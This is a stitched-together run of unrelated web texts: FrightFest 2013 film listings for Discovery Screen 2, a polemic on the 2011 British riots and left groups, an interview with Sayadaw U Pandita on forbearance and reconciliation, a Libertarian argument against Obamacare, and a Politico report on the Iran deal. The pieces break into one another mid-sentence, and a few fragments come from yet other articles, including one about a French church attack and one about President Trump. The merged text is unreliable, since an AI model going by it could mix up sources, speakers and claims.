est, 86, is ‘beheaded’ by two ‘Islamic knifemen’ after taking nuns and worshippers hostage at French church before police shoot them both dead and search building for explosives,” by Peter Allen In France and Julian Robinson, MailOnline, July 26, 2016:And so to the third and final screen at FrightFest 2013. After covering all that the Main Screen and Discovery Screen 1 have to offer, here is Discovery Screen 2 which has just as many blood covered gems as all the others.
Frightfest is from Thursday 22nd August to Monday 26th. Don’t forget Festival & day passes are on sale now on 08 714 714 714 or at www.empirecinemas.co.uk.
FRIDAY AUG 23
10:40 THE AMERICAN SCREAM (London Preview)
Director: Michael Stephenson Cast: Matthew Brodeur, Victor Bariteau, Manny Souza
USA 2012 84 mins
From Michael Stephenson, director of the BEST WORST MOVIE, comes another charming and hugely entertaining documentary. Meet the Brodeur, Souza and Bariteau families who live in the seaside town of Fairhaven, Massachusetts. Every year they spend fortunes turning their homes into stunning haunted houses for the Halloween holiday, determined to dazzle and impress their. Watch them as they plan, slave, obsess and suffer trying to outdo each other in the fearful fun-ride department. An engaging, inspiring, heart-warming examination of creativity, community and love of Halloween horror.
12:50 HANSEL & GRETEL & THE 4:20 WITCH (UK Premiere)
Director: Duane Journey. Cast: Cary Elwes, Lara Flynn Boyle, Michael Welch, Molly C Quinn, Yancy Butler. USA, 2013. 90 mins.
Fairy-tale horror and stoner comedy combine to great effect in this smartly entertaining fantasy. Agnes, a little old lady from Pasadena, grows the best weed in town. But when Gretel’s boyfriend Hansel goes missing after scoring dope, she tracks him to Agnes’ deceptively charming Gingerbread House. There she discovers Agnes is attempting to devour his soul to revive her youth. Unfortunately Gretel’s attempts to rescue Hansel are thwarted by a Latino drug gang. There is charismatic performance by ‘Castle’ TV series regular Molly C Quinn plus a blissfully OTT turn from ‘Twin Peaks’ star Lara Flynn Boyle.
15:15 THE DEMON’S ROOK (European Premiere)
Director: James Sizemore. Cast: Ashleigh Jo Sizemore, James Sizemore, John Chatham. Melanie Richardson, Sade Smith. USA, 2013. 90 mins.
Young Roscoe finds a portal to another world where he is taught magic by an elder demon known as Dimwos. The demon raises the boy into manhood, revealing to him many things… except for one dark secret. When Roscoe discovers the secret withheld, his anger inadvertently unleashes three malevolent demons. Roscoe flees the demons’ wrath by escaping through the portal, drawing the demons to discover our world for themselves. From debut director James Sizemeore, co-founder of the art cult The Black Riders, comes this family affair produced and filmed within the 50-acre Sizemore farm compound.
18:30 PAINLESS (Preview)
Director: Juan Carlos Medina. Cast: Tomas Lemarquis, Alex Brendemuhl, Juan Diego, Ramon Fonsere, Derek De Lint. Spain 2012. 105 mins. Spanish with English subtitles.
A strikingly original vision of European history, poetry and cinematic artistry, director Juan Carlos Medina’s astonishing feature debut is a sophisticated adult fable. On the eve of the Spanish Civil War in 1931 a group of children, insensitive to physical pain, are incarcerated in the fortress-like Canfranc hospital high in the Pyrenees to be taught what physical suffering actually means and its fatal consequences. One of the boys accidentally becomes the most feared torturer of General Franco’s regime. Moving and melancholic, shocking and sobering, this stunning masterpiece is bound to leave you spellbound throughout until the operatic tear-inducing finale.
21:00 WITHER (UK Premiere)
Directors: Sonny Laguna & Tommy Wiklund. Cast Patrik Almqvist, Lisa Henni, Amanda Renberg, Patrick Saxe, Ralf Beck. Sweden, 2012. 95 mins. Swedish with English subtitles.
A Swedish homage to Sam Raimi’s original EVIL DEAD, this is a fast, ferocious, graphic tale of demonic possession with a Scandinavian twist. Ida and Albin are setting off for a fun holiday with their friends to a remote cabin in the vast Nordic woodlands. But their carefree weekend comes unhinged when one of them accidentally unleashes a mysterious and murderous creature trapped in the basement. Worse, under the floorboards lurks an evil from Sweden’s dark past. As the savage demon begins its assault, the blood-dredged body count mounts, Join the cavalcade of blood and guts at this crazy cabin of the dead.
23:15 SNAP (UK Premiere)
Directors: Youssef Delara & Victor Teran. Cast: Jake Hoffman, Nikki Reed, Scott Bakula, Thomas Dekker, Jason Priestley. USA, 2013. 90 mins
SNAP will shred the nerves and rattle the demons of the mind as it charts the unhinging of a damaged brain. Abrasive, with hard cuts and loud imagery, the focus is on Jim Whitman, a painfully shy, musically talented savant whose work has made him a social networking star. But Jim consistently traverses an introverted life, trying to contain the schizophrenic darkness inside him. Struggling to keep his Mr Hyde-like personality in check, he befriends, and eventually obsesses over, Wendy, a caring social worker with problems of her own. A dark and terrifying journey into the psychopathic vortex, how do you stop a human time bomb from exploding?
SATURDAY AUGUST 24
12:50 DAYLIGHT (World Premiere)
Director: David McCracken, Joel Townsend, Kaidan Tremain. Cast: Jennifer Bacon, David McCracken, Josh Riedford, Sydney Morris. Jeanine Cameron. USA, 2012, 97 mins.
Remember the Satanic abuse panic that originated in the United States in the 1980s, spreading throughout the country and eventually to many parts of the world? Reports proliferated about the physical abuse of individuals in the context of occult rituals. At its most extreme definition a worldwide conspiracy was postulated involving the wealthy and powerful of the global elite. Now, a team of Child Protective Services workers are investigating a series of bizarre child abuse cases in the small town of Daylight, Indian and as the mystery unfolds, the authorities, lawyers and therapists all discover the cases may be linked by demonic possession.
15:30 ANTISOCIAL (European Premiere)
Director: Cody Calahan. Cast: Michelle Mylett, Cody Thompson, Adam Christie, Ana Alic, Romaine Waite. Canada, 2013. 90 mins.
Five university friends gather at a house party to ring in the New Year and celebrate the end of the previous one. What they don’t know is The End really is nigh. Unbeknownst to them, an epidemic has erupted outside, causing outbreaks around the world. With nowhere else to turn, they barricade themselves indoors with only their personal technical devices as a means to find out what is going on. As the virus spreads, the mood in the house changes from fear to paranoia. Who is safe? Who can they trust? Reality becomes blurred as they slowly discover the source of the virus causing the sickness… and there is no going back.
18:40 THE DESERT (World Premiere)
Director: Christoph Behl. Cast: Lautaro Delgado, Victoria Almeida, William Prociuk, Lucas Lagre, Maria Figueras. Argentina, 2013. 98 mins. Spanish with English subtitles.
The wave of quality fantasy from Argentina continues with this thought provoking story of a failed love triangle set post-World War Z. Axel, Jonathan and Ana live together in a fortified house, after a global catastrophe. Outside is a threatening apocalyptic landscape – inside was once a perfect three-way bond of supportive friendship. Now that has been torn apart by Ana forming a close relationship with Jonathan leaving frustrated Axel alone, tattooing his body with flies. With deep wounds festering, everything changes when Axel and Jonathan go out on an expedition in search of provisions and return home with a zombie…
21:05 WILLOW CREEK (UK Premiere)
Director: Bobcat Goldthwait. Cast: Alexie Gilmore, Bryce Johnson. USA, 2013. 90 mins.
Celebrated stand-up American comedian Bobcat Goldthwait has turned his hand to the Bigfoot myth in his sly commentary on the business of urban legends and the nature of belief. Crypto-zoology enthusiasts will know that Willow Creek is the town closest to Bluff Creek, where the famed Patterson-Gimlin film of Bigfoot was shot in 1967. Jim is a firm believer that there are Sasquatches in the woods; his girlfriend Kelly is not. But she’s a good sport, so when Jim wants to spend a weekend camping in the supposedly beast infested woods, the city girl goes along. But what they find there is something they never, ever expect.
23:15 CONTRACTED (UK Premiere)
Director: Eric England. Cast: Alice Macdonald, Caroline Williams, Najarra Townsend, Katie Stegeman, Matt Mercer. USA, 2013. 80 mins.
New sexually transmitted infections have risen to almost half a million in England alone.. So what was Samantha thinking when she met a mysterious stranger at a friend’s party? Their flirting ended up them having wild sex, but she had no idea her one-night-stand would have such a devastating effect on her life. For she learns her pick-up is urgently wanted by police, for what she’s not quite sure until she contracts a virulent STD. And the check-up becomes her worst nightmare… Director Eric England hopes CONTRACTED will do for sex with random strangers what JAWS did for going to the beach!”
SUNDAY AUGUST 25
10:25 OUTPOST: RISE OF THE SPETSNAZ (English Premiere)
Director: Kieran Parker. Cast: Bryan Larkin, James ‘The Colossus’ Thompson, Velibor Topic, Ben Lambert, Vivien Taylor. UK, 2013. 87 mins.
In the third instalment of the hit Nazi zombie action horror franchise, we discover the horrifying origins of these supernatural soldiers and see them in ferocious gladiatorial battle against the most ruthless and notorious of all military special forces: the Russian Spetsnaz. Restoring the series to its Word War II origins it introduces a new hero in Dolokhov (Bryan Larkin), a member of Russia’s elite special forces. A frenetic action packed storyline and some fantastic new villains, this OUTPOST is the goriest and most violent fight fest ever, and marks Kieran Parker’s directorial debut, after serving as producer of the previous two episodes.
13:00 THE PARANORMAL DIARIES: CLOPHILL (World Premiere)
Directors: Michael Bartlett, Kevin Gates. Cast: Michael Bartlett, Kevin Gates, Craig Stovin, Criselda Cabitac, Mark Jeavons. UK, 2013. 90 mins.
From THE ZOMBIE DIARIES duo comes a new fear franchise. In March 1963, a black mass was held at a ruined church in Clophill, Bedfordshire by a coven of dark witches. Fifty years on from the original incident, the Clophill legend remains etched on the psyches of the local populace. In 2010, a documentary team was assembled to investigate the legend of the Clophill witches and to try and uncover the truth behind the paranormal events. What followed during that long weekend at Clophill was a terrifying journey into the unknown, a voyage into unfathomable terror and a stark reminder of supernatural forces at continual work.
15:20 THE FALL OF THE HOUSE OF USHER (Special screening)
Director: Roger Corman. Cast: Vincent Price, Mark Damon, Myrna Fahey, Harry Ellerbee, David Andar. USA, 1960. 80 mins.
1960s horror began here with director Roger Corman’s seminal Edgar Allan Poe adaptation, the first of a celebrated series. With Hammer taking the lead in Great Britain by going back to classic Universal monsters, upping the budgets and filming in gore-drenched colour, Drive-in company American International Pictures had to fight back somehow. The result was a minor masterpiece, surprisingly faithful to the Poe original, as it tells the story of Roderick Usher (marvellous Vincent Price), his fears for the sanity of his sister Madeleine, her burial alive while in a cataleptic trance, and the fall of their once grand family as she returns to exact revenge on her brother. Dripping with decadence, corruption, incestuous desire and sins of the family, this Corman classic is in lush Cinemascope and, in this vibrant restoration, looks as good now as it did back in the day when it grabbed the attention of all budding horror fans.
18:30 NOSFERATU (Special screening)
Director: F W Murnau. Cast Max Schreck, Alexander Granach, Gustav Van Wagenheim, Greta Schroeder, G H Schnell. Germany, 1922. 95 mins. Silent with English subtitles.
Few films have had a more profound and lasting impact on the horror genre than Murnau’s prime example of German Expressionism, directed with determination to evoke unsettling chills with a strong visual appeal. This unofficial adaptation of Bram Stoker’s ‘Dracula’ – the reason why it was originally shown in butchered form due to Stoker’s widow taking legal action – features symphonic lighting, rhythmic editing and horror imagery that has been copied endlessly ever since. During the Bremen plague in 1838 estate agent Hutter is sent to the Carpathian Mountains to arrange a property sale for the mysterious Count Orlock (the magnificent Max Schreck). When Hutter falls under his blood-sucking master’s thrall, it’s left to his wife Ellen to banish the evil creature back to the hell he came from. The most celebrated sequence – Orlock climbing stairs to Ellen’s boudoir, his menacing outline casting terrifying wall shadows
remains unparalleled in the horror hall of fame.
21:20 CORRUPTION (Special screening)
Director Robert Hartford-Davis. Cast: Peter Cushing, Sue Lloyd, Kate O’Mara, Anthony Booth, Vanessa Howard. UK, 1967. 91 mins.
FrightFest could not let the 100th Anniversary marking the birth of horror legend Peter Cushing go unmarked. That’s why he’s included in our poster this year and here’s another tribute to that true gentle man of horror, the Master of Hammer who played Baron Frankenstein six times and Dracula’s nemesis Van Helsing in five incarnations. We are delighted to screen this newly restored, energetically sleazy and underrated gem slickly directed by 60s trashmeister Robert Hartford-Davis (THE BLACK TORMENT, GONKS GO BEAT, INCENSE FOR THE DAMNED, THE FIEND). Cushing plays Sir John Rowan, a brilliant surgeon decapitating prostitutes for pituitary gland fluid to repair the disfigured face of his model girlfriend (Sue Lloyd, star of TV’s ‘The Baron’). Advertised at the time as “A super-shock picture so no woman will be admitted to see it alone!”, this benchmark in Cushing’s golden period has the most demented ending ever – hippies sending a laser beam out of control.
MONDAY AUGUST 26
11:20 THE DEMON’s ROCK (repeat screening)
13:40 CANNON FODDER (UK Premiere)
Director: Eitan Gafny. Cast: Liron Levo, Yafit Shallev, Roi Miller, Emos Ayeno, Gome Sarig. Israel 2012, 94 mins. Hebrew & English with English subtitles.
The international success of RABIES really started something. Now the on-trend movies to make in Israel are horror, like this up-front fantasy detailing a new Middle East conflict. Security operative Doron takes on one last mission: to go to Lebanon. With an elite force behind him Doron soon discovers that reality is not so simple. For a new and unknown entity must be dealt with, a bloodthirsty, ravening, totally unpredictable enemy. But now that his enemy has changed its face, it’s up to him and his unit to wage a new war, a different war, to find an antidote, and get back across the border before the Middle East conflict is changed forever.
15:25 ON TENDER HOOKS (World Premiere)
Director: Kate Shenton. Cast: Kate Shenton, Tam Smith, Ana Laco, Håvve Fjell, Charlyne Chiappone. UK 2013, 70 mins.
The first self-funded feature film from accomplished short filmmaker Kate Shenton, this eye-opening documentary film delves into the world of human suspension and the eclectic people involved. Kate spent a year following different people and a group of suspenders. Every Sunday they pierce themselves with hooks and hang in mid-air from rigs in a display that challenges the perceptions and squeamishness of even the most hardened. Beginning with communities in London, and then following events in Rico, Croatia and Oslo, Norway, the film depicts a wide variety of experience and opinions, and probes thoughtfully into a deeply misunderstood practice.
18:40 STALLED (European Premiere)
Director: Christian James. Cast: Dan Palmer, Antonia Bernath, Tamaryn Payne, Mark Holden, Giles Alderson. UK 2013. 80 mins.
It’s Christmas Eve. A down-on-his-luck janitor is cleaning cubicles in an office block. Unfortunately for this forlorn floor-sweeper, he becomes trapped in the washroom the very second a zombie outbreak occurs. Will he be able to hit the emergency alarm with severed fingers and a catapult bra? Has he met his Waterloo? Will he just go potty? Or will he simply remain…STALLED? Consistently hilarious, brilliantly executed, cleverly constructed and visually imaginative, director Christian James’ remarkable comedy horror is THE EVIL DEAD meets PHONE BOOTH in a toilet. For in a zombie apocalypse no one can hear you strain – or gives a crap.
So there you have it, a full run down of what will be showing on the Discovery Strand Screen 2 at Frightfest 2013. For details of the films showing on the other screens, use the links below.The ex-left and the British riots
25 August 2011
The riots that swept London and other cities earlier this month threw a harsh light on the real state of social relations in Britain. They revealed the extent to which the UK is a nation torn apart by intractable class divisions, in which millions of workers and young people have no escape from a life of grinding, unremitting poverty while they are forced to watch others live a life of unparalleled luxury.
Thousands of youth rioted because they have no avenue through which to articulate their grievances or realise their aspirations for a better life—least of all through the Labour Party and the trade unions, which are as much the corrupt playthings of the financial elite as the governing Conservatives and Liberal Democrats. Theirs is a degrading situation that has continued year after year without change, or even the apparent possibility of change, because the entire social and political order is stacked in the interests of the super-rich.
The universal response of the state, the political establishment and the media to the riots has confirmed that nothing else can be expected from the ruling elite and its hangers-on. Brutal police repression, mass arrests and the doling out of punitive prison terms for minor offences have been accompanied by a blanket denial that legitimate social grievances played any part in the riots. They were, according to the official narrative, solely the product of a criminal “underclass.”
For this reason, the riots were not merely an exposure of what exists but a portent of the future. They demonstrate above all that for the working class and the younger generation, nothing can be achieved outside of the revolutionary overthrow of the existing system. They also served another essential political function—revealing the plethora of fake-left groupings that portray themselves as “socialist,” “communist” and even “Trotskyist” to be the champions of capitalist “law and order.”
The Morning Star, newspaper of the Communist Party of Britain, thundered, “Homes and businesses must be protected, which means that police have to have resources to contain violent outbreaks.”
As the numbers arrested in police sweeps climbed above 2,000, the Morning Star on August 11 complained bitterly that Prime Minister David Cameron had “stubbornly dismissed calls to rethink police budget cuts.” The Tory-Liberal Democrat coalition government was worse “than even that of Margaret Thatcher in the 1980s,” it said, because of its “willingness to antagonise the police” through budget cuts.
The Socialist Party (SP), a long-term political ally of the Stalinists, echoed this law-and-order rhetoric. Deputy General Secretary Hannah Sell, writing in the group’s newspaper, The Socialist, complained, “Belatedly, government ministers have dragged themselves back from their holidays in order to try and ‘restore order’.”
Sarah Sachs-Eldridge wrote, “There is widespread anger that the police did not act effectively to defend people’s homes and local small businesses and shops.”
She quoted sympathetically the comments of Paul Deller of the Metropolitan Police Federation that “Morale among the police officers dealing with this incident, and within the police service as a whole, is at its lowest level ever due to the constant attacks on them by the Home Secretary and the government in the form of the reviews into police pay and conditions.”
The Socialist Party went on to heap praise on the “action of local shopkeepers mobilising to defend business premises and homes in a number of areas during the rioting…. Had the riots continued, these initiatives could have been developed into democratically organised, mass, united defence of communities, with elected organising committees.” This perspective has far more to do with fascism than with the working class and socialism.
The same stance was taken by numerous other groups and publications. The Weekly Worker complained of youth having “wreaked wanton destruction” and of the “anti-social gangs that lurk on our council estates.” It too praised small shopkeepers who had “succeeded in driving away the rioters” as a model for the “left” to “build permanent self-defence units” to “provide our own protection against rioters, looters, English Defence League hoodlums and—yes—police thuggery.”
The apologetic reference to “police thuggery” is transparent political window-dressing for the call to restore order.
The ex-left groupings differ from the Tory right and the bourgeois media only in their claim that strikes and protests organised by the trade unions are a legitimate alternative to rioting that is available to working people and youth. The Socialist Party urged that “trade union leaders” respond to the riots by organising “a united day of strike action” against spending cuts.
Such statements are a conscious deception. The youth did not rise up merely because of recent inaction by the trade unions. Trade union membership, which stands nationally at around 20 percent, is virtually non-existent today among young people, many of whom will never even have a job. This is not merely because union leaders have done nothing to oppose the attacks of the present coalition government. They have not organised a single significant industrial struggle since they betrayed the year-long national miners’ strike in 1984-1985.
For more than a quarter of a century, the unions have collaborated in a historic transfer of societal wealth from the poor to the super-rich and a narrow, wealthy layer of the upper-middle class. The latter is the privileged social layer represented by the “trade union leaders.” And it is this same layer for which the ex-left groups speak.
Their leading lights are, for the most part, either firmly ensconced within the trade union apparatus—often at the highest level—or in academia and various local government departments. They do not genuinely view the unions as an agent of social change, but as the best means of suppressing the class struggle and safeguarding the existing order. They employ socialist phraseology only in order to oppose any movement that threatens to break out of the political and organisational straightjacket of the trade union bureaucracy.
The Socialist Party made this abundantly clear when they urged the “trade union movement” to “call for control of the police to be placed under the auspices of democratically elected local police committees” and to “demand the setting up of a democratically run inquiry into the riots involving elected representatives of trade unions and community organisations, that could also set the parameters on how the offences are dealt with, with the right to review sentences already imposed.”
Patrolling the streets, negotiating with the police, determining sentencing—such are the political ambitions of the ex-left. Workers and young people should take note. This was their response to a few nights of rioting. In the event of the emergence of a serious revolutionary threat to capitalism, these forces will take their stand on the side of the ruling class and its repressive state apparatus.
Chris Marsden
Chris MarsdenRegarded as one of the world’s most eminent meditation masters and Theravada Buddhist scholars, the Venerable Sayadaw U Pandita of Burma (now Myanmar) passed away on April 16, 2016, at the age of 94. Successor to Mahasi Sayadaw and spiritual adviser to Burma’s Nobel Peace Prize laureate and State Counsellor, Aung San Suu Kyi, Sayadaw U Pandita entered monastic life at the age of 12. Through decades of experience in the theory and practice of meditation, he cultivated in others the motivation to know and experience the taste of the dhamma, which he viewed as many times better than all the other tastes of the world. With this goal in mind, he established meditation centers throughout the world, working tirelessly to share the Buddha’s teachings in accordance with the instructions of Mahasi Sayadaw (1904–1982), encompassing both scripture and practice so that neither would be omitted. He lived as head teacher for eight years at the Mahasi Meditation Centre in Yangon, where the worldwide mass lay insight meditation movement began in 1947, until 1990, when he founded the meditation and study monastery Panditarama Shwe Taung Gon Sasana Yeiktha, also in Yangon.
In the months before his death, Sayadawgyi (as he was known in his latter years; the suffix -gyi means “great”) granted me a special invitation to discuss the “dhamma of reconciliation.” Over eight successive nights in February 2016, Sayadawgyi shared the wisdom that forms “Dhamma Advice to a Nation,” his final message to those seeking to heal from decades of brutal totalitarian rule in Burma. The following interview is a short excerpt from that material. While his is perhaps the most renowned and respected voice, U Pandita was but one of many of Burma’s “voices of freedom”—the courageous individuals who have fought tirelessly for human rights and democracy against the tyranny of one of history’s most vicious military regimes, often at risk of imprisonment, sometimes at the cost of their lives. And while the realities of our inhumanity to one another still threaten to drag us into realms alien and incomprehensible, the message of these voices, of freedom through reconciliation, comes from the front lines of a familiar and collective struggle for justice, dignity, and triumph over oppression in all its forms.
–Alan Clements
The following interview will appear in the forthcoming book “Aung San Suu Kyi and Burma’s Voices of Freedom in Conversation with Alan Clements” and its accompanying film highlighting those at the heart of Burma’s 28-year nonviolent revolution of the spirit.
It is common to react to violation with hurt, anger, outrage, and at times revenge. As we know, many millions of people in your country have been oppressed for over 50 years by a succession of dictatorships. What advice can you offer those who harbor feelings of hostility and retribution? How can one overcome those feelings and refrain from acting on them? Forbearance is the best. In this country we say, “Khanti [forbearance] is the highest austerity.” In the human world we are certain to encounter things we do not like. If every time one encounters difficulty there is no forbearance and one retaliates, there will be no end to human problems. There will only be quarrels.
To be patient and forbear fully, there must be the ability to reason, to think logically. Without forbearance, a fight occurs, both sides get hurt, and there’s no relief. Many wrongs are done. When one can forbear, the quarrel quiets.
In this, one needs to add metta—the desire for another’s welfare. When the desire for the welfare of others becomes strong, one can be patient and forbearing. When harmed, one can forgive, one can give up one’s own benefit and make sacrifices.
So to end the cycle of conflict, first neutralize one’s reaction? There are two kinds of enemies, or danger: the danger of akusala and the danger in the form of a person. Akusala are the unwholesome deeds that occur when lobha [desire, selfishness], dosa [anger, cruelty, hatred], and moha [delusion, stupidity] are extreme. These are called the internal enemy. They are also called the nearest danger because they are inside one’s own mind. Danger in the form of a person is an external enemy, a person who is hostile to us. The Buddha practiced to gradually weaken the internal enemies until they disappeared.
Related: A Perfect Balance
What is the basis, the spiritual or moral motivation, to refrain from committing unwholesome deeds, akusala? One should be as disgusted by akusala as one would shrink from picking up a red-hot coal. With a healthy disgust and fear, understanding that participating in unwholesome deeds brings trouble, one can refrain from wrongdoing.
Further, there should be consideration for others. One should spare others because one understands how they would feel if harmed. That is important. Hiri and ottapa [moral shame and moral fear] and consideration for others are the qualities that motivate one to refrain from performing unwholsome deeds.
Hiri and ottappa are also called the deva dhammas. Deva dhammas means dhammas [mental qualities] that make virtues brilliant. When one lacks these, one’s human virtues fade. The quality of behaving like a human being, being able to keep one’s mentality humane, having human intelligence, being able to develop special human knowledge—without moral shame and moral fear, all these human virtues fade. When one has these qualities, one’s virtues become bright. They are the dhammas that make human virtues shine. They are also called the lokapala dhammas. Lokapala means “the guardians of the world.” They preserve the world, keep it from being destroyed. What’s important here is one’s own individual world as well as the world around one. To the extent that these qualities are strong, one’s own world is secure, and equally, one no longer harms the surrounding world.
We know that if there isn’t some preventive measure to cure the delusions of the old guard, the very horrors of that old order—imprisoning people, torturing them, and denying them their most basic human rights—could easily recur. And generation to generation, we’d have the same problems. In your worldview, how do these dhamma attributes of forbearance and lovingkindness intersect with accountability and justice? Don’t we need accountability and justice for reconciliation to become real? Those who have done wrong should correct it by dhamma means, just like when a monk commits a monastic offense. They should make an honest admission: “This act and that act were wrong. I ask your forgiveness.” No matter how great the fault, with this, about half [the people] will be satisfied. They will have lovingkindness [for those who confess their wrong].
A hero, a person who is courageous, has the courage to admit one’s mistakes, one’s faults. Such a person also has the courage to do things that are beneficial for society. The most effective way to create peace among the people is for the oppressors to courageously admit their faults and reconcile with the oppressed. That is the best.
One should understand: wrongs done because of selfish greed bring only bad results. On the other hand, tasks done without selfishness, with lovingkindness and compassion present, bring only good results. One should understand the nature of good and bad results. If one knows neither the bad results of lacking lovingkindness or compassion nor the good results from having lovingkindness and compassion at the forefront, there is blind stupidity. There is darkness. And with darkness, one can’t see. As long as this understanding is absent, one lacks moral shame and moral fear.
And the cycle of oppression continues? Without moral shame and moral fear, there are unwholesome actions. With moral shame and moral fear, there are pure, clean, wholesome actions. That is important.
What should one do to prevent problems from occurring in the world? There should be both control and preservation, so that one’s personal world is not destroyed and the world outside one is protected from harm. And if the number of people were to become great who kept their own individual world from being destroyed by restraining unwholesome thoughts, speech, and actions, the world would become peaceful.
Another way to foster self-restraint is to have consideration for others. When there are thoughts, speech, and actions strong enough to cause suffering, reflect: Just as I do not wish to suffer, neither do others wish to suffer. As such, one avoids doing harm. Being able to put oneself in another’s place is very important.
Because people try to conquer others instead of gaining victory over themselves, there are problems. The Buddha taught that one should simply gain victory over oneself.
Do you have hope for real change here in Burma? Resistance power is important for everyone. People work to develop physical resistance to withstand heat, cold, and fatigue. For the most part, people give priority to developing physical resistance. There’s little concern for developing mental resistance. Of course, mental powers are also important. Nothing can be substituted for them.
One has to work to develop mental powers, to put focused energy into one’s mind. When one has developed mental resistance power, one can withstand the ups and downs one encounters. There is spiritual resistance, the strength to control one’s mind. is is needed by everyone. It is weak in the world today. But with the correct method it can be developed.
There are spiritual faculties that bring self-control, self-mastery. These need to be developed in order to have spiritual resistance. They are called indriya or bala in Pali. For developing these faculties, the path of satipatthana [practicing the four foundations of mindfulness: that of the body, of feelings, of the mind, of dhammas] is best. One can’t do this by meditating for just a short time. Only if one meditates meticulously, with real desire, can one can gain these spiritual faculties.
These faculties can be called spiritual multivitamins, like the multivitamins we take for physical health. When one develops the mind with satipatthana meditation, this is like taking spiritual multivitamins. If half the world would possess these spiritual faculties in themselves, the world would become peaceful.
You are aware that terrorism is an increasing problem all over the world. In my country of America, and in pretty much any Western and Asian country for that matter, there’s a deep and increasing fear of terrorism, whatever its ideological basis may be. My question: What advice might you offer to defeat radical extremism, which, I might add, in most cases considers success not only in the death of those whom they attack but in their own death as well? If you can’t overcome the internal enemies, they not only give you trouble but give others trouble too. And in future lives they also give you trouble. An ordinary, external enemy can’t debase you. If he or she kills you, it’s only in one lifetime. The internal enemies kill a being lifetime after lifetime. They also degrade one. They are quite frightening.
Related: Who Is the Real Aung Sang Suu Kyi?
Few people know that you are Daw Aung San Suu Kyi’s dhamma teacher. She looks to you for spiritual advice and guidance. I would like to follow up with the issue of national reconciliation, the centerpiece of Daw Aung San Suu Kyi and her new government’s vision of a peaceful and prosperous Burma. What is the dhamma of reconciliation? Human beings should have the courage to avoid doing what is wrong and the courage to do and to say what is beneficial. If one does something wrong, whether deliberately or out of carelessness, one needs to have the courage to admit one’s mistake.
The Pali word viriya means exactly this: the courage to avoid doing things that are wrong, the courage to do what is right, and if one errs, the courage to admit it. When taking such a moral risk, one must bear the suffering encountered. Such courage must be nurtured. It does not come quickly. You must develop it gradually.
In the realm of dhamma, whether one is a monk, a nun, or a layperson, there are rules and responsibilities. It won’t do to learn these duties and responsibilities only when one becomes an adult. They need to be learned from a young age. Just as one must try to make one’s IQ good, at the same time one must also try to make one’s SQ [spiritual intelligence] good. It won’t do to make SQ good only after one’s IQ has become good. It’s just like feeding a child. You must first nurse the baby and then all along the way, gradually, feed the child appropriately, taking into account the child’s age, size, growth, and, of course, both the quantity and quality of the food. Good health has many considerations; but first and foremost you must feed the child appropriately, starting from a young age.
Good parenting is the basis of good dhamma and the birth of SQ? Parents have the first duty to teach the child, and after them, teachers do. For the world to be peaceful, parents are crucial, because they are a child’s first teachers. Even in Myanmar, where Buddhism flourishes, because there are so many people who are ill-equipped to be parents, the dhamma has declined. Since the |
stood up against intense bullying from President Trump.
Although Libertarians might disagree on what constitutes meaningful reform, it makes no sense to replace one bad plan with another. Obamacare is like two government bureaucrats and an insurance company bureaucrat getting between you and your doctor. The Republicans would replace that with two insurance bureaucrats and a government bureaucrat between you and your doctor.
The Libertarian solution is to repeal and deregulate. You don’t cover oil changes with your car insurance. You should not be forced to cover flu shots with your health insurance, larding the cost with overhead and profits that flow to insurance companies and government functionaries.
In 35 states, a Certificate of Need must be approved by the state before new hospitals and other health care facilities can be built. Econ 101 tells us that restricting the supply of medical care increases costs.
Doctors in the United States make between two and five times the amount that doctors in other developed countries earn, thanks to legislative favors granted to the American Medical Association that limit the number of medical schools and new doctors.
The effective monopoly granted to the pharmaceutical industry through the patent process has also increased drug costs in the United States to an unwarranted extent. And the FDA should not be able to prevent dying patients from trying experimental drugs.
Repeal and replace Obamacare with Obamacare light? The Libertarian Party says no.
Instead, repeal and replace with massive deregulation that will make the health care market competitive again and result in lower prices for everyone.“The deal itself is a flawed deal and ultimately leads to a nuclear Iran unless it’s substantially altered," Sen. Marco Rubio said. | John Shinkle/POLITICO GOP clashes over Iran deal makeover Sen. Marco Rubio tells POLITICO he’s skeptical of fellow Sens. Bob Corker and Tom Cotton’s plan to strengthen the pact at Trump’s insistence.
President Donald Trump's ambitious bid to secure legislative changes to the U.S.-Iran nuclear agreement is already running into headwinds within his own party.
Ahead of Trump's Friday declaration that he will judge Iran out of compliance with the nuclear accord — but not withdraw from it, while asking Congress to add more teeth to the deal — Senate Foreign Relations Committee Chairman Bob Corker and Sen. Tom Cotton unveiled a proposal they believe can meet the White House's mark. But Sen. Marco Rubio (R-Fla.), a senior member of Corker's panel, warned that he is "very skeptical" of any move to mend the nuclear pact.
Story Continued Below
“The deal itself is a flawed deal and ultimately leads to a nuclear Iran unless it’s substantially altered," Rubio told POLITICO on Friday. "I’m generally skeptical of the ability to fix it. I hope I’m wrong. I’m concerned that continuing to adhere to the deal in any capacity has long-term consequences that would make things worse, not better.”
Rubio underscored that he is "willing to be persuaded" of the merits of his GOP colleagues' approach.
Still, the early doubts raised by an Iran hawk whom Corker credited on Friday with helping shape his legislative framework illustrates the intense political and diplomatic challenges facing the administration and congressional GOP leaders. Corker and Cotton's plan will require 60 votes in the Senate, a high bar already given Democratic opposition to Trump's de-certification of Iran as a means to force changes to the nuclear deal.
Corker acknowledged the difficulty of shepherding his and Cotton's bill, which could emerge as soon as next week, to Trump's desk. He said that while he has talked about his plan with Senate Minority Leader Chuck Schumer (D-N.Y.) and the foreign relations panel's top Democrat, Maryland Sen. Ben Cardin, the administration also has a key role to play in persuading lawmakers that European partners in the Iran deal are on board with the changes.
"To bring Democrats along, we recognize that they’re going to want some buy-in from our European allies, so there is some work that needs to be done," the Tennessee Republican told reporters.
In the Senate, sanctions on Iran can be reimposed with a simple majority vote if Congress moves within 60 days. But Republicans believe that's unlikely to happen given Trump's ask and are now eyeing a bipartisan solution that can win 60 votes. House Republican leaders have more freedom to steer Iran legislation past likely Democratic resistance but may also face a hard sell with some of their own members who are pursuing separate approaches to punishing Iran's non-nuclear activities.
House Foreign Affairs Chairman Ed Royce (R-Calif.) is open to the Corker-Cotton proposal but right now is prioritizing bipartisan Iran sanctions bills focusing on its ballistic missile program and support for terrorism, a senior House GOP aide said Friday. Royce has called on Trump to "enforce the hell out of" the nuclear pact rather than move the U.S. closer to withdrawing.
Secretary of State Rex Tillerson sounded an equally candid note on the tough job of winning congressional approval for the changes Trump is seeking, telling reporters at a briefing late Thursday that "we may end up out of the deal" if Congress cannot agree on a fix.
